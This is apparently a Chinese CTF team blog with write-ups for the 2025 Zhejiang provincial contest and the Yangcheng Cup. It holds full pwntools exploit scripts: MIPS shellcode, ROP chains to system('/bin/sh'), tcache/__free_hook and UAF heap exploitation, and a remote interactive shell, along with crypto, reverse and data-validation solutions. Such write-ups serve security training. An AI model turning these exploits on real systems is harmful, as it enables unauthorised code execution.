 s4.send(p64(0x100))
 s4.send(b"\x00" * 0x7C + p32(1))
 time.sleep(0.25)

 # 2. 触发 RST 以激活漏洞/错误路径
 # 这里设置SOLSOCKET为SO_LINGER 并关闭 s1，会导致发送 RST 包
 # l_onoff = 1
 # l_linger = 0
 # 这里可以写struct.pack("ii", l_onoff, l_linger) 在64位机器上通常是 8 字节，符合 p32(1)+p32(0)
 s1.sock.setsockopt(
 socket.SOL_SOCKET, socket.SO_LINGER,p32(1)+p32(0)
 )
 s1.sock.close()
 CLEAR_TEXT("s1 closed with RST")

 # 3. 接收并解析 Leak 数据
 # 服务端会将栈上0x100字节数据发送回来，其中包含了 Canary 和 libc 地址
 try:
 leak_data = s4.recv(0x100)

 # stop("fd 4-->1")
 if len(leak_data) < 0x90:
 log.error(f"Leak failed, received len: {len(leak_data)}")
 return

 canary = u64(leak_data[0x48:0x50])
 CLEAR_TEXT(f"Canary: {hex(canary)}")

 elf_base = u64(leak_data[0x58:0x60]) - 0x147e
 CLEAR_TEXT(f"ELF Base: {hex(elf_base)}")

 libc_base = u64(leak_data[0x88:0x90]) - 0x9c720 - 900
 CLEAR_TEXT(f"Libc Base: {hex(libc_base)}")
 libc.address = libc_base

 except EOFError:
 log.error("Unexpected EOF during leak")
 return

 # 4. Get Shell 
 # 通过覆盖实现 关闭 fd 0 和 1 
 s_temp = start_con()
 s_temp.send(p64(0x100))
 s_temp.send(b"\x00"*0x7c + p32(0))
 time.sleep(0.1)
 s_temp.close() # 保持连接

 s_temp2 = start_con()
 s_temp2.send(p64(0x100))
 s_temp2.send(b"\x00"*0x7c + p32(1))
 time.sleep(0.1)
 s_temp2.close()

 # 服务端重新accept了连接分配到了 fd=0, fd=1
 # 这样我们就能控制 stdin/stdout
 ret_addr=elf_base+0x101a,
 stdin_sock = start_con()
 stdout_sock = start_con()

 VIO_TEXT("Sending ROP chain...")

 payload = b"A" * 0x48
 payload += flat([
 canary,
 0xdeadbeef,
 libc.search(asm('pop rdi; ret')).__next__(),
 libc.search(b"/bin/sh").__next__(),
 ret_addr,
 libc.sym['system']
 ])
 stdin_sock.send(p64(len(payload)))
 time.sleep(0.1)
 stdin_sock.send(payload)

 time.sleep(0.1)
 stdin_sock.sendline(b"ls")
 print(stdout_sock.recv(4096))
 def listner():
 while True:
 try:
 print("\n")
 data = stdout_sock.recv(4096)
 if data:
 sys.stdout.buffer.write(data)
 sys.stdout.flush()
 except exception:
 pass
 t=threading.Thread(target=listner,daemon=True)
 t.start()
 while True:
 cmd = input("[nan0in27 sh]$ ")
 stdin_sock.sendline(cmd.encode())
 # print(stdout_sock.recv().decode(errors='ignore'))

if __name__ == "__main__":
 main()

still in updating

2025浙江省网络与信息安全决赛WP

Tue, 18 Nov 2025 16:06:00 +0000

前言

本次比赛与Vortex 和mak4r1 一起完成！感谢拼尽全力的两位师傅！

pwn第一题没有mips环境导致很快写完了却没法汇编shellcode，第二题又因为中途太紧张了分析成了依托，实际上逻辑盘的也差不多了，但是比赛为了其他方向的分又没专心做… 导致最后仅仅差了10分与省一，教训就是一定要稳住心态，也不能因为分数的变动和排名的摇摆而出现心态的恍惚… 总之好好吸取教训

2025省赛决赛

misc

misc1

十六进制中有换表base, 用7z打开末尾的附加文件可以看到flag.txt:c.txt

解密flag即可

pwn（仅复现）

mips

保护

一个mips异构的pwn

qemu进行运行

会

给出一个v1的地址，可以栈溢出

ra会放返回地址

实际上是有假canary的，可以溢出到返回地址

要把这一行原本的arm64改为arm才能出gadget

此处read溢出到返回地址

拿python生成一下shellcode，栈是可执行的！可以直接写shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
 "mode",
 type=int,
 choices=[0, 1, 2],
 nargs="?",
 default=0,
 help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = "mips"
local_addr = "localhost"
local_port = "1234"
remote_addr = "10.1.100.100"
remote_port = "9999"
context.terminal = ["tmux", "splitw", "-h"]

context(log_level="debug", os="linux", arch=arch,endian="big")

def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")

if args.mode == 0:
 io = process(['qemu-mips','-g','1234','./pwn']) #在另一个终端起gdb运行交互
 # gdb.attach(io,gdbscript="""
 # set architecture mips
 # target remote:1234
 # """)
elif args.mode == 1:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)

io.sendline(b"255")
io.recvuntil(b"gift: ")
stack_addr= int(io.recvuntil(b"\n",drop=True),16)
VIO_TEXT("Stack address leak: "+hex(stack_addr))
shellcode=asm("""
 lui $t7, 0x2f2f
 ori $t7, $t7,0x6269
 lui $t6, 0x6e2f
 ori $t6, $t6, 0x7368
 sw $t7, -12($sp)
 sw $t6, -8($sp)
 sw $zero, -4($sp)
 addiu $a0, $sp, -12
 slti $a1, $zero, -1
 slti $a2, $zero, -1
 li $v0, 4011
 syscall
""")
CLEAR_TEXT("Shellcode length: "+str(len(shellcode))+" bytes")
payload = cyclic(40+4)+p32(stack_addr+40+4)+shellcode #0覆盖返回地址,ja跳转到stack_addr+0x48即shellcode起始位置
io.sendline(payload)
io.interactive()

calc

保护

由于实现了一个stack，在这片空间上我们可以利用操作符进行溢出，但是只能输入一次，要精心构建payload，如果我们++两次，那么就会直接触发到canary从而stack smashed

我们没有输入的时候可以看到在最后退出的时候如上正常返回

如果输入一个+的情况下会因为多清理一次栈而导致变为0从而指向0-8，这时候需要回去看具体的逻辑才可以。难受的是符号全剥去了，不过好在结构体还比较好逆，实际上程序模拟实现了两个栈，分别装载操作数和操作符

程序还原

逆向完后主要有的函数为:

操作数的出入栈操作符的出入栈以及查看当前栈顶操作符

在push和pop的部分存在漏洞

vuln

push部分对于操作数栈的sp的类型转换为int, 因此可以实现负数的绕过

而pop部分始终会执行–的操作，即使检查无法通过也不会报错，这就导致可以正常返回，从而覆盖到栈上的信息，而在进入函数之前刚好就是0，所以我们直接输入+的话，就会如下图

如图，pop导致对数值的清空，从而直接将0写到了返回地址，同理如果输入两个++

canary也直接变为了0

那么就有如下的构建执行链的思路

通过one_addr++，这种情况下数字进入实现push, 而++会pop两次，从而-1就写到了返回地址，比如12345++
然后如何构建链条呢？注意到程序里是有符号优先级的
并且符号)的处理也存在大问题，正常的解决括号顺序应该就是遇到)的时候往前组合存在的式子，然后直到遇到(的时候把其pop出来; 但是看到下图

遇到)的时候，实际上陷入到了while(1)循环当中，v11由上一次的Peek得到，若为(则会继续走pop分支

这就给了我们继续往下写的一个思路，我们的程序在检测完前面的首先不能让括号里的内容为空，随便放一个数字进去，诶这个时候有人就要问了，那如果后面的先进行了怎么让-1的覆盖和rop链共存呢？这个可以根据具体的位置进行调试，当然我对payload也画了具体构架的思路

按照逻辑，直到遇到之前的++我们的while都不会退出，伴随着(我们的地址进入栈中，但注意此时还是没有覆盖到返回地址的，准备好之后最后再执行到ret++的部分，此时不就实现了-1开始的链条覆盖了吗？

那么就可以构建出如下的exp

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
 "mode",
 type=int,
 choices=[0, 1, 2],
 nargs="?",
 default=0,
 help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = ""
remote_port = ""


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]

def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")

if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(
 io,
 gdbscript="""
 b *0x40230B
 """,
 )
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename,checksec=False)
libc = ELF(libc_name,checksec=False)

def chain(addr1:bytes,addr2:bytes,addr3:bytes,addr4:bytes):
 payload=addr1+b"++"
 payload+=flat(addr2,b"*(",addr3,b"*(",addr4,b"*(1)")
 return payload

# leak libc
ret_addr= 0x40101a
pop_rdi_ret=0x402330
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
payload=chain(str(pop_rdi_ret).encode(),str(puts_got).encode(),str(puts_plt).encode(),str(0x401535).encode())
io.sendlineafter(b"input:\n",payload)

# rop 
io.recvuntil(b"1\n")
leak = u64(io.recv(6).ljust(8,b"\x00"))-0x84420
VIO_TEXT(f"leak puts addr: {hex(leak)}")

system_addr=leak+libc.symbols['system']
binsh_addr=leak+next(libc.search(b"/bin/sh"))
payload=chain(str(ret_addr).encode(),str(pop_rdi_ret).encode(),str(binsh_addr).encode(),str(system_addr).encode())
io.sendlineafter(b"input:\n",payload)
io.interactive()

‍

only_one

保护：

有增删和一次free

glibc为2.31

delete会清零指针，无uaf

add会检测chunk_ptr指向的地方有无堆块存在，index不能写负数，所以改不到负数的结构体？

跟预赛好像是类似的，最多20次申请，size小于0x100, 那么就是unsorted bin和tcache bin的利用

但是有一次不清理指针的free来进行唯一double free

来不及写

crypto

rsa

给出了diff和sum，根据diff和sum可以求出p,q。之后就是正常RSA

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


from z3 import *
from Crypto.Util.number import *

# 已知值
sum_pq = 15870713655456272818998868095126610389501417235762009793315127525027164306871912572802442396878309282140184445917718237547340279497682840149930939938364752
diff_pq = 836877201325346306269647062252443025692393860257609240213263622058769344319275021861627524327674665653956022396760961371531780934904914806513684926008590
e = 65537
c = 24161337439375469726924397660125738582989340535865292626109110404205047138648291988394300469831314677804449487707306159537988907383165388647811395995713768215918986950780552907040433887058197369446944754008620731946047814491450890197003594397567524722975778515304899628035385825818809556412246258855782770070

# 声明两个整数变量
p, q = Ints('p q')

# 建立约束方程
s = Solver()
s.add(p + q == sum_pq)
s.add(p - q == diff_pq)

# 求解
if s.check() == sat:
 model = s.model()
 p_val = model[p].as_long()
 q_val = model[q].as_long()
 print(f"p = {p_val}")
 print(f"q = {q_val}")

 # 构造 n 和 phi
 n = p_val * q_val
 phi = (p_val - 1) * (q_val - 1)

 # 计算私钥 d
 d = inverse(e, phi)

 # 解密
 m = pow(c, d, n)
 flag = long_to_bytes(m)
 print(f"flag = {flag}")
else:
 print("No solution found.")

数据安全

check1

检验方法均已给出，根据检测方式进行提取编写：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95


import re
import csv
from datetime import datetime

# 身份证校验码算法
def validate_id_card(id_card):
 if len(id_card) != 18:
 return False
 if not re.match(r'^\d{17}[\dXx]$', id_card):
 return False

 # 校验码算法
 weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
 check_codes = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
 sum_val = sum(int(id_card[i]) * weights[i] for i in range(17))
 check_code = check_codes[sum_val % 11]
 return id_card[-1].upper() == check_code

# 验证手机号
def validate_phone(phone):
 return re.match(r'^1\d{10}$', phone) is not None

# 验证姓名（2~4个汉字）
def validate_name(name):
 return re.match(r'^[\u4e00-\u9fa5]{2,4}$', name) is not None

# 验证出生日期是否与身份证一致
def validate_birth_date(id_card, birth_date):
 try:
 birth_str = id_card[6:14]
 expected = datetime.strptime(birth_str, '%Y%m%d').strftime('%Y-%m-%d')
 return expected == birth_date
 except:
 return False

# 验证性别是否与身份证一致
def validate_gender(id_card, gender):
 try:
 gender_digit = int(id_card[16])
 if gender_digit % 2 == 0:
 expected = '女'
 else:
 expected = '男'
 return gender == expected
 except:
 return False

# 主函数
def process_users(data_file, output_file):
 valid_users = []

 with open(data_file, 'r', encoding='utf-8') as f:
 reader = csv.reader(f)
 next(reader) # 跳过标题行
 for row in reader:
 if len(row) < 8:
 continue
 cust_id, name, id_card, gender, phone, birth_date, reg_time, login_time = row

 # 各项验证
 if not validate_id_card(id_card):
 continue
 if not validate_gender(id_card, gender):
 continue
 if not validate_birth_date(id_card, birth_date):
 continue
 if not validate_phone(phone):
 continue
 if not validate_name(name):
 continue

 # 时间逻辑验证
 try:
 birth_dt = datetime.strptime(birth_date, '%Y-%m-%d')
 reg_dt = datetime.strptime(reg_time, '%Y-%m-%d %H:%M:%S')
 login_dt = datetime.strptime(login_time, '%Y-%m-%d %H:%M:%S')

 if birth_dt >= reg_dt or reg_dt > login_dt:
 continue
 except:
 continue

 valid_users.append(row)

 # 写入结果文件
 with open(output_file, 'w', newline='', encoding='utf-8') as f:
 writer = csv.writer(f)
 writer.writerow(['客户ID', '姓名', '身份证号', '性别', '手机号', '出生日期', '注册时间', '最后登录时间'])
 writer.writerows(valid_users)

 print(f"共提取出 {len(valid_users)} 条合规数据，已保存到 {output_file}")

# 示例调用
if __name__ == "__main__":
 process_users("users.csv", "valid_users.csv")

最后提取出文件

‍

reverse

天命人

根据算法dump出解密即可

1
2
3
4
5
6


cipher = [0x44,0x40,0x51,0x40,0x50,0x43,0x7d,0x3e,0x38,0x6c,0x3a,0x3f,0x3e,0x6f,0x38,0x6d,0x23,0x21,0x24,0x20,0x2d,0x74,0x20,0x74,0x2c,0x2f,0x2e,0x28,0x25,0x25,0x78,0x2d,0x12,0x43,0x44,0x47,0x10,0x15,0x40,0x5a]

flag = []

for i in range(0, len(cipher)):
 print(chr(cipher[i] ^ i),end='')

Androidtest

fridahook字符串得到换过表的base64
lib中可以看到ret_str函数, 从中dump出数据换表后异或即可

1
2
3
4
5
6


Java.perform(function() {
    var MainActivity = Java.use("com.example.myapplication.MainActivity")

    var str = MainActivity.z;
    console.log("str is:" + str);
})

ABCDEFGHIJKLMNOPQRSTUVWXYZ234567=
用cyberchef解密即可

DASCTF{android_anti_and_test_is_interesting}

AI

dog

肉眼一张一张看过去的

26c39cf8-55fb-4899-82bc-442cf4627d95.jpg+6e17fffa-b696-4769-9b43-e0f453f8098d.jpg+7a19da17-9f4a-411b-bac7-83d2454d868a.jpg+897a3a87-dfcf-4233-8097-6bba2e6507ba.jpg+c6b1099a-d626-4cbd-94fc-32aa46ffb02b.jpg+d5117480-7943-48f8-9e79-67fdd51092d2.jpg
然后md5计算

‍

2025浙江省网络与信息安全预赛pwn复盘

Sat, 08 Nov 2025 21:14:00 +0000

2025省赛

pwn

rop

保护，没有开启PIE

程序剥离了符号

在输入数字的地方会把字符转化为longlong

并且没有检测负数，可以用于泄漏地址

似乎存在一个函数可以往eax里写入极大数字

output会在输出内容后将该位置内容重新设置为0

打入-3即可泄漏canary，会清0导致EOF

但是可以绕过canary吧，这样就能构建ROP链了，有没有办法写到*(a1+72)呢

注意到v2<=9都可以输入，那么不是刚好可以写入到a1+72吗？那将a1+72篡改到-1后输入rop链条是否可以

因此我们先leak出残留在栈上中的一个libc后，将rop链条写到数组里，最后将-1覆盖为ret执行ROP即可（不用leak canary)

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc-2.31.so"
arch = 'amd64'
remote_addr = "45.40.247.139"
remote_port = "30141"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")


def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")


io = None
if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 b *0x40144B
 b *0x401466
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))

def cmd(num):
 sla(b">>", str(num).encode())

def input(num):
 sla(b">>", b"1")
 sla(b"number:", str(num).encode())

def output(idx):
 sla(b">>", b"2")
 sla(b"index:",str(idx).encode())

def exit():
 sla(b">>", b"3")

for i in range(9):
 input(1)

# -1的时候刚好可以改到retaddr
input(0)


output(-13)
ru(b"your number:\n")
puts_leak=int(rl(drop=True),10)
libc_addr=u64(p64(puts_leak))-0x8459a
VIO_TEXT(f"libc_addr: {hex(libc_addr)}")

one_gadgets=[0xe3afe,0x3eb01,0xe3b04]
one_gadget=libc_addr+one_gadgets[2]
VIO_TEXT(f"one_gadget: {hex(one_gadget)}")

# pop_rdi_ret=libc.address+next(libc.search(asm('pop rdi; ret')))
pop_rdi_ret=0x401563
binsh_addr = libc_addr+ next(libc.search(b"/bin/sh\x00"))
system_addr=libc_addr+libc.sym['system']

ret_addr=0x40101a

# input(one_gadget)

input(pop_rdi_ret)
input(binsh_addr)
input(system_addr)
for i in range(9-3):
 input(1)
input(-2)
input(ret_addr)

ia()

one

程序员在为新能源汽车编写程序时犯了一个致命的错误，你能帮他找出来吗？

保护全开

设置好login登录后是一个指令程序

增删改测试和退出

删除会检查链表是否为空以及v1是否大于8, 防止double free和越界，并且对指针进行了置空，无法UAF，并且转化为了unsigned long long, 无法负数访问

同样其他几个函数也没有对应的检测到负数

来看cre4t函数

edit函数也差不多

‍

v1的范围在0到8之间，我们最多能分配9个堆块

create的read

test的read可以多读取一个字节，可以打off by one

先控制unsorted bin, 通过fd泄漏出libc地址

题目没有给出libc, 但是strings可以找到

ubuntu 18.04–>glibc2.27

自行进行patchGNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.

首先要构造堆风水实现overlapping（通过off by one），然后将__free_hook写入

问题在于要打掉什么地址写入_free_hook，我们没有uaf，chunk数量也有限难以走非tcache打法以及控制unsorted bin

那我们就打tcache bin的off by one，布置4个chunk

先释放出两个chunk进入tcache bin来链入两个chunk，

‍

此时我们从伪造的overlapping chunk的部分开始写可以写入到下方0x40的tcache bin的内容，我们便可以在此时写入一个__free_hook，最后再申请两次，就可以拿freehook写了

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152


import argparse
import sys

from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
 "mode",
 type=int,
 choices=[0, 1, 2],
 nargs="?",
 default=0,
 help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = ""
remote_port = ""


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")


def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")


io = None
if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(
 io,
 gdbscript="""
 """,
 )
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains

def cmd(idx):
 sl(str(idx).encode())


def create(idx, size, content):
 cmd(1)
 sla(b"command?", str(idx).encode())
 sla(b"command?", str(size).encode())
 sla(b"command?", content)
 sleep(0.1)


def edit(idx, content):
 cmd(4)
 sla(b"one?", str(idx).encode())
 sla(b"change?", content)


def test(idx):
 cmd(3)
 sla(b"one", str(idx).encode())
 return ru(b"Finish!", drop=False)


def delete(idx):
 cmd(2)
 sla(b"one?", str(idx).encode())


# auto login
ru(b"rebot.\n")
data = (rl(drop=True).split(b" ")[-1].replace(b"?", b"").replace(b"=", b"")).decode()
print(data)
sl(str(eval(data)).encode())

# test create
size1 = 0x38
pay1 = b"aaaa"
# leak libc with unsoreted bin
create(8, 0x410, pay1)
create(7, size1, pay1) # avoid consolidation
delete(8)
create(8, 0x410, b"1") # leak the fd pointer

data = u64(p64(u32(test(8)[4:8]) << 16).ljust(8, b"\x00")) # creating will show information of remained pointer
VIO_TEXT(f"leak libc addr: {hex(data)}")
libc.address = data - 0x3E0000
VIO_TEXT(f"system addr: {hex(libc.symbols['system'])}")
# print(hexdump(data))

# try to layout heap and make overlap
for i in range(4):
 create(i, size1, pay1)

# pause()
delete(3)
delete(2) # 2->3 tcache

edit(0, b"/bin/sh\x00".ljust(0x38, b"\x00") + p8(0x81)) # off by one to 2
delete(1) # 1 and 2 are all in one bin now

create(
 1,
 0x78,
 flat(
 {
 0x30:[
 0,
 0x41,
 libc.symbols["__free_hook"],
 ]
 },
 filler=b"\x00",
 ),
)

# 2->3 has been changed to 2->__free_hook

create(5,size1,pay1) # let 2 out
create(6,size1,p64(libc.symbols["system"])) # overwrite __free_hook with system 
delete(0) # trigger system("/bin/sh")
ia()

‍

bad_heap

禁止在libc中的堆

保护全开

有增删查三项的菜单堆

增，题目含义体现在这里，如果堆空间分配到了libc地址上程序直接退出

版本是glibc2.35

删，存在uaf

查，正常的打印内容，但是因为uaf可以打印free的区域内容

那就不能劫持IO_list_all了，有uaf可以先尝试overlapping写，可以分配到21个chunk，足够了

先通过uaf leak libc和heap key来使得可以写入合理地址到堆

然后构造overlapping，想办法劫持fd到environ从而Leak stack地址后再通过布置堆空间劫持返回地址到rop链

看到也有走house of botcake打libc泄漏的，不过感觉好像不用也没问题

‍

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147


import argparse
import sys

from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
 "mode",
 type=int,
 choices=[0, 1, 2],
 nargs="?",
 default=0,
 help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = ""
remote_port = ""


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return log.info(f"\x1b[{code}m{x}\x1b[0m")


def CLEAR_TEXT(x, code=32):
 return log.success(f"\x1b[{code}m{x}\x1b[0m")


io = None
if args.mode == 0:
 io = process(filename)
 print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
 io = process(filename)
 gdb.attach(
 io,
 gdbscript="""
 """,
 )
elif args.mode == 2:
 io = remote(remote_addr, remote_port)
else:
 sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def cmd(idx):
 sla(b"choice:\n", str(idx).encode())


def add(idx, size, content):
 cmd(1)
 sla(b"idx:\n", str(idx).encode())
 sla(b"size:\n", str(size).encode())
 sa(b"content:\n", content)


def delete(idx):
 cmd(2)
 sla(b"idx:\n", str(idx).encode())


def show(idx):
 cmd(3)
 sla(b"idx:\n", str(idx).encode())


for i in range(10):
 add(i, 0x100, b"a")

for i in range(7):
 delete(i) # fill tcache 0-6 

show(0)
key = u64(rc(8)) # leak heapbase key 
VIO_TEXT(f"key: {hex(key)}")

delete(8)
delete(7) # 合并到unsorted bin
show(7) # unsorted bin leak libc
libc.address = u64(rc(8)) - 0x21ACE0
VIO_TEXT(f"libc.address: {hex(libc.address)}")

for i in range(6):
 add(i, 0x100, b"aaaa") # fill tcache 6

add(7, 0x120, b"aaaa") # 7 but overlapping 8
add(10, 0xE0, b"aaaa") # 8 & 10

delete(0)
delete(8)
delete(7)

add(
 7, 0x120, b"\x00" * 0x108 + p64(0x111) + p64((libc.sym['environ'] - 0x10) ^ key)
) # write in environ to fd，由于overlapping,实际写入到8中 tcache取head,-0x10

add(8, 0x100, b"aaaa")

add(11, 0x100, b"a" * 0x10)
show(11)
ru(b"a" * 0x10)
stack = u64(rc(8)) - 0x148
VIO_TEXT(f"stack: {hex(stack)}") # leak stack and get the ret_addr

system_addr = libc.sym['system']
ret_addr = libc.address + 0x29139
binsh_addr = next(libc.search(b"/bin/sh\x00"))
pop_rdi = libc.address + 0x2A3E5
payload = flat(pop_rdi, binsh_addr, ret_addr, system_addr)

delete(1) #avoid consolidation
delete(8)
delete(7)
pause()
add(7, 0x120, b"\x00" * 0x108 + p64(0x111)+p64((stack) ^ key)) # write in ret_addr to fd

add(1,0x100,b"aaaa")
pause()
add(8,0x100,b'a'*8+payload) # overwrite ret_addr with ROP chain

ia()

2025羊城杯-stack & malloc

Tue, 14 Oct 2025 00:30:00 +0000

stack

保护和沙箱

保护，程序运行在2.35-0ubuntu3.11

沙箱

禁用了execve execveat open close等

解题

剥去了符号

main函数中有两个函数

第一部分设置了沙箱。这个前置函数设置了随机数，3或者4, 然后计算magic_number的地址并根据得到的possible_main来取出对应main

和设置好真正的buf到分配的堆空间区域

发现禁用了open execve和execveat，read规则检测只能从stdin(0)获取，检查一个参数的高32位和低32位都是0否则就会直接kill, 因此要注意控制

以及一个读入的函数

将0x55...8028置了0，后面我们再去调read看看

通过实际缓冲区找到rbp，进行覆盖

先用这个函数去拿到地址来获取elf基地址

我们想要通过调用puts函数来拿到一个libc中的地址用于泄漏，随后尝试打openat read write或者openat read sendfile

但是程序提供的函数不支持我们正常完成libc相关函数的地址泄漏，而在调试的时候可以发现在第一个函数中可以通过rand函数去设置参数，我们便可以用puts来泄漏了

而一开始由于远程无法打通，所以尝试ogw，结果发现远程还是不能通，后来想到patchelf可能会影响程序的加载空间（拉高地址）所以改小了写入/flag的地址才通过

 1
 2
 3
 4
 5
 6
 7
 8
 9
